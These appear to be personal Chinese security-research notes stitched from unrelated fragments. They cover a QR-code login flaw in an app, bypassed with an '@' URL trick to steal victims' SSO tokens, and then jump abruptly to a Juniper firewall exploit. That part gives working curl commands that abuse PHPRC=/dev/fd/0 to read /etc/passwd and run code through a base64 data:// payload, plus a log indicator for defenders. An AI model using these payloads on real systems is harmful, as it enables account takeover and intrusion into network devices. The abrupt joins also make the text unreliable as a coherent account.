随手记
定位扫码代码
某APP存在二维码扫码的功能点,登录的场景,对二维码进行解码
根据"RCE_LOGIN"特征在jadx内搜索
查找代码引用,发现扫码后有多个分支条件,对每个分支进行代码审计
注意到其中一个分支条件是二维码解码后若为http://或https://开头,再通过BankUrlUtils.isBankUrl判断待访问的URL是否在白名单内,若通过白名单校验则会获取SSO登录的token拼接到url里再请求
传入的URL是我们可控的,若我们传入的URL可以绕过白名单校验,则我们可以搭建一个服务端并且构造一个恶意二维码,他人扫我们构造的二维码后,我们可以通过服务端接收他的SSO token
绕过白名单校验
https://www.example.com**@**192.168.137.1:8443/,只要包含了一个白名单内的URL,即可通过校验。
将PHPRC环境变量设置为其中一个文件,然后使用php.ini auto_prepend_file设置强制每个php页面加载第二个文件来实现代码执行。这是一个非常好的攻击思路,但如果你不能上传文件的环境呢,还有一条路,使用stdin。
stdin
传递。受影响的防火墙运行FreeBSD,每个FreeBSD进程都可以通过打开/dev/fd/0访问其stdin。通过发送HTTP请求,我们可以向系统引入一个“文件”/dev/fd/0。$ curl "<http://10.12.72.1/?PHPRC=/dev/fd/0>" --data-binary 'auto_prepend_file="/etc/passwd"'
RCE的思路和POC
通过启用allow_url_include,我们可以使用任何带有auto_prepend_file的协议包装器。显而易见的选择是 data:// 以内联方式提供“第二个文件”形式。以下是执行<?phpinfo();?> 的POC:
$ curl "<http://10.12.72.1/?PHPRC=/dev/fd/0>" --data-binary $'allow_url_include=1\\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
防火墙是 APT 常见的目标,因为它们有助于桥接受保护的网络,并可以充当 C2 基础设施的有用主机。如果拥有未打补丁的Juniper网络防火墙的站点,都应该检查是否有被入侵的痕迹。httpd.log会包含以下payload部分:httpd:2:POST /?PHPRC=/dev/fd/0 HTTP/1.1
周末待看
[ ]
[ ]
一周总结